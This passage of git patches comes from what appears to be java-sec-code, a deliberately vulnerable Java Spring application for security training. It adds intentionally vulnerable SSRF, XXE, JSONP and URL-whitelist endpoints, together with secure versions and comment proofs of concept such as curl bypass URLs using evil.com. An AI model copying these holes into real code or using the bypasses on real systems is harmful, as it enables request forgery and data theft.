+ String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
+ String mimeType = multifile.getContentType(); // 获取MIME类型
File excelFile = convert(multifile);
- // security check
- String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"};
+ // 判断文件后缀名是否在白名单内
+ String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"}; // 后缀名白名单
Boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
@@ -95,7 +97,28 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
break;
}
}
- if ( !suffixFlag || !isImage(excelFile) ) {
+
+ if (!suffixFlag) {
+ logger.error("[-] Suffix error: " + Suffix);
+ }
+
+ String mimeTypeBlackList[] = {"text/html"}; // 不允许传html
+
+ Boolean mimeBlackFlag = false;
+ for (String blackMimeType : mimeTypeBlackList) {
+ if (mimeType.equalsIgnoreCase(blackMimeType) ) {
+ mimeBlackFlag = true;
+ logger.error("[-] Mime type error: " + mimeType);
+ break;
+ }
+ }
+
+ boolean isImageFlag = isImage(excelFile);
+
+ if( !isImageFlag ){
+ logger.error("[-] File is not Image");
+ }
+ if ( !suffixFlag || mimeBlackFlag || !isImageFlag ) {
redirectAttributes.addFlashAttribute("message", "illeagl picture");
deleteFile(excelFile);
return "redirect:/file/status";
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index 94df0400..159351cb 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -1,11 +1,10 @@
package org.joychou.controller;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.*;
-import javax.servlet.http.HttpServletRequest;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
@@ -20,22 +19,20 @@
* @version 2018.08.23
*/
-@Controller
+@RestController
@RequestMapping("/url")
public class URLWhiteList {
private String domainwhitelist[] = {"joychou.org", "joychou.com"};
-
+ private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
/**
* bypass poc: bypassjoychou.org
- * http://localhost:8080/url/endswith?url=http://aaajoychou.org
+ * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
*
*/
- @RequestMapping("/endswith")
- @ResponseBody
- public String endsWith(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
+ @GetMapping("/vuln/endsWith")
+ public String endsWith(@RequestParam("url") String url) throws Exception{
URL u = new URL(url);
String host = u.getHost().toLowerCase();
@@ -47,15 +44,15 @@ public String endsWith(HttpServletRequest request) throws Exception{
return "Bad url.";
}
+
/**
* bypass poc: joychou.org.bypass.com or bypassjoychou.org.
- * http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org
+ * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
+ * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
*
*/
- @RequestMapping("/contains")
- @ResponseBody
- public String contains(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
+ @GetMapping("/vuln/contains")
+ public String contains(@RequestParam("url") String url) throws Exception{
URL u = new URL(url);
String host = u.getHost().toLowerCase();
@@ -70,13 +67,11 @@ public String contains(HttpServletRequest request) throws Exception{
/**
* bypass poc: bypassjoychou.org. It's the same with endsWith.
- * http://localhost:8080/url/regex?url=http://aaajoychou.org
+ * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
*
*/
- @RequestMapping("/regex")
- @ResponseBody
- public String regex(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
+ @GetMapping("/vuln/regex")
+ public String regex(@RequestParam("url") String url) throws Exception{
URL u = new URL(url);
String host = u.getHost().toLowerCase();
@@ -92,15 +87,14 @@ public String regex(HttpServletRequest request) throws Exception{
/**
* bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains.
- * http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org
+ * http://localhost:8080/url/vuln/indexOf?url=http://joychou.org.bypass.com http://bypassjoychou.org
*
*/
- @RequestMapping("/indexof")
- @ResponseBody
- public String indexOf(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
+ @GetMapping("/vuln/indexOf")
+ public String indexOf(@RequestParam("url") String url) throws Exception{
URL u = new URL(url);
String host = u.getHost();
+
// If indexOf returns -1, it means that no string was found.
for (String domain: domainwhitelist){
if (host.indexOf(domain) != -1) {
@@ -113,16 +107,14 @@ public String indexOf(HttpServletRequest request) throws Exception{
/**
* The bypass of using java.net.URL to getHost.
*
- * Bypass poc1: curl -v 'http://localhost:8080/url/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
- * Bypass poc2: curl -v 'http://localhost:8080/url/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
+ * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
+ * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
*
* Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
*/
- @RequestMapping("/url_bypass")
- @ResponseBody
- public String url_bypass(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- System.out.println("url: " + url);
+ @GetMapping("/vuln/url_bypass")
+ public String url_bypass(@RequestParam("url") String url) throws Exception{
+ logger.info("url: " + url);
URL u = new URL(url);
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
@@ -130,7 +122,7 @@ public String url_bypass(HttpServletRequest request) throws Exception{
}
String host = u.getHost().toLowerCase();
- System.out.println("host: " + host);
+ logger.info("host: " + host);
// endsWith .
for (String domain: domainwhitelist){
@@ -145,18 +137,16 @@ public String url_bypass(HttpServletRequest request) throws Exception{
/**
- * First-level host whitelist.
- * http://localhost:8080/url/seccode1?url=http://aa.taobao.com
+ * 一级域名白名单 First-level host whitelist.
+ * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
*
*/
- @RequestMapping("/seccode1")
- @ResponseBody
- public String seccode1(HttpServletRequest request) throws Exception{
+ @GetMapping("/sec/endswith")
+ public String sec_endswith(@RequestParam("url") String url) throws Exception{
- String whiteDomainlists[] = {"taobao.com", "tmall.com"};
- String url = request.getParameter("url");
+ String whiteDomainlists[] = {"joychou.org", "joychou.com"};
- URI uri = new URI(url);
+ URI uri = new URI(url); // 必须用URI
if (!url.startsWith("http://") && !url.startsWith("https://")) {
return "SecurityUtil is not http or https";
}
@@ -174,15 +164,13 @@ public String seccode1(HttpServletRequest request) throws Exception{
}
/**
- * Muti-level host whitelist.
- * http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com
+ * 多级域名白名单 Multi-level host whitelist.
+ * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
*
*/
- @RequestMapping("/seccode2")
- @ResponseBody
- public String seccode2(HttpServletRequest request) throws Exception{
- String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"};
- String url = request.getParameter("url");
+ @GetMapping("/sec/multi_level_host")
+ public String sec_multi_level_host(@RequestParam("url") String url) throws Exception{
+ String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
URI uri = new URI(url);
if (!url.startsWith("http://") && !url.startsWith("https://")) {
@@ -199,21 +187,20 @@ public String seccode2(HttpServletRequest request) throws Exception{
return "Bad url.";
}
+
/**
- * Muti-level host whitelist.
- * http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com
+ * 多级域名白名单 Multi-level host whitelist.
+ * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
*
*/
- @RequestMapping("/seccode3")
- @ResponseBody
- public String seccode3(HttpServletRequest request) throws Exception{
+ @GetMapping("/sec/array_indexOf")
+ public String sec_array_indexOf(@RequestParam("url") String url) throws Exception{
// Define muti-level host whitelist.
- ArrayList whiteDomainlists = new ArrayList();
- whiteDomainlists.add("bbb.taobao.com");
- whiteDomainlists.add("ccc.bbb.taobao.com");
+ ArrayList whiteDomainlists = new ArrayList<>();
+ whiteDomainlists.add("bbb.joychou.org");
+ whiteDomainlists.add("ccc.bbb.joychou.org");
- String url = request.getParameter("url");
URI uri = new URI(url);
if (!url.startsWith("http://") && !url.startsWith("https://")) {
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java
index a5c9072f..da2474fa 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONP.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java
@@ -10,6 +10,8 @@
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.json.MappingJackson2JsonView;
+import org.joychou.config.WebConfig;
+import org.joychou.util.WebUtils;
import javax.servlet.http.HttpServletRequest;
import java.security.Principal;
@@ -22,12 +24,13 @@
* https://github.com/JoyChou93/java-sec-code/wiki/JSONP
*/
+
@RestController
@RequestMapping("/jsonp")
public class JSONP {
private static String[] urlwhitelist = {"joychou.com", "joychou.org"};
-
+ private static String callback = WebConfig.getBusinessCallback();
// get current login username
public static String getUserInfo2JsonStr(HttpServletRequest request) {
@@ -44,54 +47,53 @@ public static String getUserInfo2JsonStr(HttpServletRequest request) {
/**
* Set the response content-type to application/javascript.
*
- * http://localhost:8080/jsonp/referer?callback=test
+ * http://localhost:8080/jsonp/vuln/referer?callback_=test
*/
- @RequestMapping(value = "/referer", produces = "application/javascript")
- private String referer(HttpServletRequest request) {
- String callback = request.getParameter("callback");
- return callback + "(" + getUserInfo2JsonStr(request) + ")";
+ @RequestMapping(value = "/vuln/referer", produces = "application/javascript")
+ public String referer(HttpServletRequest request) {
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
}
/**
* Direct access does not check Referer, non-direct access check referer.
* Developer like to do jsonp testing like this.
*
- * http://localhost:8080/jsonp/emptyReferer?callback=test
+ * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test
*/
- @RequestMapping(value = "/emptyReferer", produces = "application/javascript")
- private String emptyReferer(HttpServletRequest request) {
+ @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
+ public String emptyReferer(HttpServletRequest request) {
String referer = request.getHeader("referer");
if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
return "error";
}
-
- String callback = request.getParameter("callback");
- return callback + "(" + getUserInfo2JsonStr(request) + ")";
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
}
/**
* Adding callback or cback on parameter can automatically return jsonp data.
- * http://localhost:8080/jsonp/advice?callback=test
- * http://localhost:8080/jsonp/advice?_callback=test
+ * http://localhost:8080/jsonp/vuln/advice?callback=test
+ * http://localhost:8080/jsonp/vuln/advice?_callback=test
*
* @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
* Such as JSONOjbect or JavaBean. String type cannot be used.
*/
- @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE)
+ @RequestMapping(value = "/vuln/advice", produces = MediaType.APPLICATION_JSON_VALUE)
public JSONObject advice(HttpServletRequest request) {
return JSON.parseObject(getUserInfo2JsonStr(request));
}
/**
- * http://localhost:8080/jsonp/mappingJackson2JsonView?callback=test
+ * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
* Reference: https://p0sec.net/index.php/archives/122/ from p0
* Affected version: java-sec-code test case version: 4.3.6
* - Spring Framework 5.0 to 5.0.6
* - Spring Framework 4.1 to 4.3.17
*/
- @RequestMapping(value = "/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
+ @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
Principal principal = req.getUserPrincipal();
@@ -102,29 +104,25 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
/**
* Safe code.
- * http://localhost:8080/jsonp/sec?callback=test
+ * http://localhost:8080/jsonp/sec?callback_=test
*/
- @RequestMapping(value = "/sec", produces = "application/javascript")
- private String safecode(HttpServletRequest request) {
+ @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript")
+ public String safecode(HttpServletRequest request) {
String referer = request.getHeader("referer");
if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
return "error";
}
-
- String callback = request.getParameter("callback");
- return callback + "(" + getUserInfo2JsonStr(request) + ")";
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
}
- /**
- * http://localhost:8080/jsonp/getToken
- *
- * @return token {"token":"115329a7-3a85-4c31-9c02-02fa1bd1fdf8","parameterName":"_csrf","headerName":"X-XSRF-TOKEN"}
- */
- @RequestMapping("/getToken")
- public CsrfToken csrf(CsrfToken token) {
+ @GetMapping("/getToken")
+ public CsrfToken getCsrfToken(CsrfToken token) {
return token;
}
+
+
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java
new file mode 100644
index 00000000..25a72898
--- /dev/null
+++ b/src/main/java/org/joychou/filter/JsonpFilter.java
@@ -0,0 +1,102 @@
+package org.joychou.filter;
+
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+import org.apache.commons.lang.StringUtils;
+import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * @author JoyChou @ 2020-01-13
+ * 专门为object自动转jsonp功能配置的filter
+ */
+
+@WebFilter(filterName = "jsonpFilter", urlPatterns = "/*")
+public class JsonpFilter implements Filter {
+
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+
+ }
+
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+
+ @Override
+ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+ throws IOException, ServletException {
+
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
+
+ String refer = request.getHeader("referer");
+ String[] jsonpReferWhitelist = WebConfig.getJsonpReferWhitelist();
+ StringBuffer url = request.getRequestURL();
+ String query = request.getQueryString();
+
+ // 如果不满足jsonp校验逻辑,则不校验
+ if ( !check(request) ) {
+ filterChain.doFilter(req, res);
+ return ;
+ }
+
+ // 校验jsonp逻辑,如果不安全,返回403页面
+ if (SecurityUtil.checkURLbyEndsWith(refer, jsonpReferWhitelist) == null ){
+ logger.info("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write("forbidden");
+ response.flushBuffer();
+ return ;
+ }
+
+ // 正常的refer,继续业务逻辑。
+ filterChain.doFilter(req, res);
+
+ }
+
+ /**
+ *
+ * @return true要进行jsonp安全校验,false不进行jsonp安全校验
+ */
+ private boolean check(HttpServletRequest req) {
+
+ // 如果jsonp校验的开关为false,不校验
+ if ( !WebConfig.getJsonpReferCheckEnabled() ) {
+ return false;
+ }
+
+ // 只校验GET请求
+ if ( !"GET".equals(req.getMethod()) ) {
+ return false;
+ }
+
+ // 只校验带配置里的callback参数请求
+ String reqCallback = null;
+ for (String callback: WebConfig.getJsonpCallbacks()) {
+ reqCallback = req.getParameter(callback);
+ if(StringUtils.isNotBlank(reqCallback)) {
+ break;
+ }
+ }
+ if (StringUtils.isBlank(reqCallback)){
+ return false;
+ }
+
+
+ return true;
+
+ }
+ @Override
+ public void destroy() {
+
+ }
+}
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 55ebf4a3..0c40c25f 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -15,7 +15,7 @@
/**
* 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。
* @author JoyChou @ 2019.12.19
- *
+ *
*/
@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
public class OriginFilter implements Filter {
diff --git a/src/main/java/org/joychou/filter/HttpFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
similarity index 62%
rename from src/main/java/org/joychou/filter/HttpFilter.java
rename to src/main/java/org/joychou/filter/ReferFilter.java
index 83b4ea13..14f1a618 100644
--- a/src/main/java/org/joychou/filter/HttpFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -1,6 +1,5 @@
package org.joychou.filter;
-
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
@@ -24,7 +23,7 @@
*
*/
@WebFilter(filterName = "referFilter", urlPatterns = "/*")
-public class HttpFilter implements Filter {
+public class ReferFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
@@ -39,10 +38,10 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
-
String refer = request.getHeader("referer");
PathMatcher matcher = new AntPathMatcher();
boolean isMatch = false;
+
for (String uri: WebConfig.getReferUris()) {
if ( matcher.match (uri, request.getRequestURI()) ) {
isMatch = true;
@@ -50,22 +49,28 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
}
}
- // logger.info("[+] Referer: " + refer);
-
- if (isMatch) {
- if (WebConfig.getReferSecEnabled()) {
- // Check referer for all GET requests with callback parameters.
- for (String callback: WebConfig.getCallbacks()) {
- if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){
- // If the check of referer fails, a 403 forbidden error page will be returned.
- if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){
- logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
- + "Referer: " + refer);
- response.sendRedirect("https://test.joychou.org/error3.html");
- return;
- }
- }
- }
+ if (!isMatch) {
+ filterChain.doFilter(req, res);
+ return;
+ }
+
+ if (!WebConfig.getReferSecEnabled()) {
+ filterChain.doFilter(req, res);
+ return;
+ }
+
+ // Check referer for all GET requests with callback parameters.
+
+ String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
+ if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){
+ // If the check of referer fails, a 403 forbidden error page will be returned.
+ if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){
+ logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+ + "Referer: " + refer);
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write("forbidden");
+ response.flushBuffer();
+ return;
}
}
@@ -78,4 +83,4 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
public void destroy() {
}
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index 685340c6..b0a59bc1 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -5,6 +5,8 @@
import java.io.IOException;
import java.io.InputStream;
+import org.springframework.web.util.HtmlUtils;
+
public class WebUtils {
// Get request body.
@@ -23,4 +25,9 @@ public static String getCookieValueByName(HttpServletRequest request, String coo
Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName);
return cookie == null ? null : cookie.getValue();
}
+
+
+ public static String json2Jsonp(String callback, String jsonStr) {
+ return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")";
+ }
}
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index d144baa5..9135b5db 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -9,11 +9,12 @@ mybatis.mapper-locations=classpath:mapper/*.xml
management.security.enabled=false
# logging.config=classpath:logback-online.xml
-
+# 业务的callback参数,不支持多个
+joychou.business.callback = callback_
### check referer configuration begins ###
joychou.security.referer.enabled = false
-joychou.security.referer.hostwhitelist = joychou.org, joychou.com
+joychou.security.referer.host = joychou.org, joychou.com
# Only support ant url style.
joychou.security.referer.uri = /jsonp/**
### check referer configuration ends ###
@@ -30,6 +31,8 @@ joychou.security.csrf.method = POST
### jsonp configuration begins ### # auto convert json to jsonp
-# callback parameters name
+# referer check
+joychou.security.jsonp.referer.check.enabled = true
+joychou.security.jsonp.referer.host = joychou.org, joychou.com
joychou.security.jsonp.callback = callback, _callback
### jsonp configuration ends ###
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 18933862..64737751 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -10,6 +10,7 @@
CmdInject
JSONP
+ FileUpload
Cors
PathTraversal
SqlInject
From 7b187f2a5fbb8850f4efef6ce065ce231a45d425 Mon Sep 17 00:00:00 2001
From: JoyChou
Date: Fri, 14 Feb 2020 20:40:06 +0800
Subject: [PATCH 11/41] Add XXE & SSRF Vuln Code
---
java-sec-code.iml | 11 +-
pom.xml | 16 +-
.../java/org/joychou/controller/SSRF.java | 91 +++--
.../java/org/joychou/controller/SpEL.java | 1 -
src/main/java/org/joychou/controller/XXE.java | 321 ++++++++++--------
.../java/org/joychou/filter/JsonpFilter.java | 6 +-
.../joychou/security/LoginSuccessHandler.java | 15 +-
.../org/joychou/security/SSRFChecker.java | 6 +-
.../org/joychou/security/SecurityUtil.java | 43 ++-
src/main/resources/templates/login.html | 6 +-
10 files changed, 329 insertions(+), 187 deletions(-)
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 5a12be26..c9e18a68 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -67,8 +67,13 @@
-
-
+
+
+
+
+
+
+
@@ -193,5 +198,7 @@
+
+
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index dd14d9ed..14dc18dc 100644
--- a/pom.xml
+++ b/pom.xml
@@ -62,7 +62,7 @@
org.dom4j
dom4j
- 2.1.1
+ 2.1.0
@@ -70,7 +70,7 @@
com.google.guava
guava
- 21.0
+ 23.0
@@ -215,7 +215,19 @@
2.0.0
+
+
+ org.jsoup
+ jsoup
+ 1.10.2
+
+
+
+ commons-io
+ commons-io
+ 2.5
+
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index fca0e63a..657f25cf 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -4,6 +4,7 @@
import com.squareup.okhttp.OkHttpClient;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.io.IOUtils;
import org.apache.http.HttpResponse;
import org.apache.http.HttpStatus;
import org.apache.http.client.fluent.Request;
@@ -11,18 +12,21 @@
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.joychou.security.SecurityUtil;
-import org.springframework.stereotype.Controller;
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
-import java.net.URL;
-import java.net.URLConnection;
-import java.net.HttpURLConnection;
+import java.net.*;
/**
@@ -31,12 +35,13 @@
* @desc Java ssrf vuls code.
*/
-@Controller
+@RestController
@RequestMapping("/ssrf")
public class SSRF {
+ private static Logger logger = LoggerFactory.getLogger(SSRF.class);
+
@RequestMapping("/urlConnection")
- @ResponseBody
public static String ssrf_URLConnection(HttpServletRequest request)
{
try {
@@ -169,9 +174,7 @@ public static void ssrf_okhttp(HttpServletRequest request) throws IOException {
*/
@RequestMapping("/HttpClient")
@ResponseBody
- public static String ssrf_HttpClient(HttpServletRequest request) {
-
- String url = request.getParameter("url");
+ public static String ssrf_HttpClient(@RequestParam String url) {
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
try {
@@ -193,26 +196,18 @@ public static String ssrf_HttpClient(HttpServletRequest request) {
/**
* Safe code.
- * http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com
+ * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
*
*/
- @RequestMapping("/commonsHttpClient")
+ @RequestMapping("/commonsHttpClient/sec")
@ResponseBody
- public static String commonsHttpClient(HttpServletRequest request) {
-
- String url = request.getParameter("url");
-
- // Security check
+ public static String commonsHttpClient(@RequestParam String url) {
if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
return "Bad man. I got u.";
}
- // Create an instance of HttpClient.
- HttpClient client = new HttpClient();
- // Create a method instance.
+ HttpClient client = new HttpClient();
GetMethod method = new GetMethod(url);
-
- // forbid 302 redirection
method.setFollowRedirects(false);
try {
@@ -238,19 +233,63 @@ public static String commonsHttpClient(HttpServletRequest request) {
}
+ /**
+ * jsoup是一款Java的HTML解析器,可直接解析某个URL地址、HTML文本内容。
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
+ *
+ */
+ @RequestMapping("/Jsoup")
+ @ResponseBody
+ public static String Jsoup(@RequestParam String url) {
+ try {
+ Document doc = Jsoup.connect(url)
+ .userAgent(
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) "
+ + "Chrome/64.0.3282.167 Safari/537.36")
+ .timeout(3000)
+ .cookie("name", "joychou") // request请求带的cookie
+ .followRedirects(false)
+ .execute().parse();
+ } catch (MalformedURLException e) {
+ return "exception: " + e.toString();
+ } catch (Exception e) {
+ return "exception: " + e.toString();
+ }
+
+ return "Jsoup ssrf";
+ }
+
+
+ /**
+ * 用途:IOUtils可远程获取URL图片
+ * 默认重定向:是
+ * 封装类:URLConnection
+ * http://localhost:8080/ssrf/IOUtils?url=http://www.baidu.com
+ */
+ @RequestMapping("/IOUtils")
+ public static String IOUtils(@RequestParam String url) {
+ try {
+ // IOUtils.toByteArray内部用URLConnection进行了封装
+ byte[] b = IOUtils.toByteArray(URI.create(url));
+ } catch (Exception e) {
+ return "exception: " + e.toString();
+ }
+
+ return "IOUtils ssrf";
+ }
+
/**
* Safe code.
- * http://localhost:8080/ssrf/ImageIO_safe?url=http://www.baidu.com
+ * http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com
*
*/
- @RequestMapping("/ImageIO_safe")
- @ResponseBody
- public static String ssrf_ImageIO_safecode(HttpServletRequest request) {
- String url = request.getParameter("url");
+ @RequestMapping("/ImageIO/sec")
+ public static String ImageIOSec(@RequestParam String url) {
try {
URL u = new URL(url);
if (!SecurityUtil.checkSSRF(url)) {
+ logger.error("[-] SSRF check failed. Original Url: "+ url);
return "SSRF check failed.";
}
ImageIO.read(u); // send request
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 28fdafde..07be7d7e 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -1,6 +1,5 @@
package org.joychou.controller;
-import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 7347523e..1de059ce 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -1,6 +1,9 @@
package org.joychou.controller;
+import org.dom4j.DocumentHelper;
import org.dom4j.io.SAXReader;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
@@ -22,7 +25,7 @@
import org.joychou.util.WebUtils;
/**
- * Java xxe vul and safe code.
+ * Java xxe vuln and security code.
*
* @author JoyChou @2017-12-22
*/
@@ -31,26 +34,29 @@
@RequestMapping("/xxe")
public class XXE {
- @RequestMapping(value = "/xmlReader", method = RequestMethod.POST)
- public String xxe_xmlReader(HttpServletRequest request) {
+ private static Logger logger= LoggerFactory.getLogger(XXE.class);
+ private static String EXCEPT = "xxe except";
+
+ @RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST)
+ public String xmlReaderVuln(HttpServletRequest request) {
try {
- String xml_con = WebUtils.getRequestBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
- xmlReader.parse(new InputSource(new StringReader(xml_con))); // parse xml
- return "ok";
+ xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
+ return "xmlReader xxe vuln code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/xmlReader_fix", method = RequestMethod.POST)
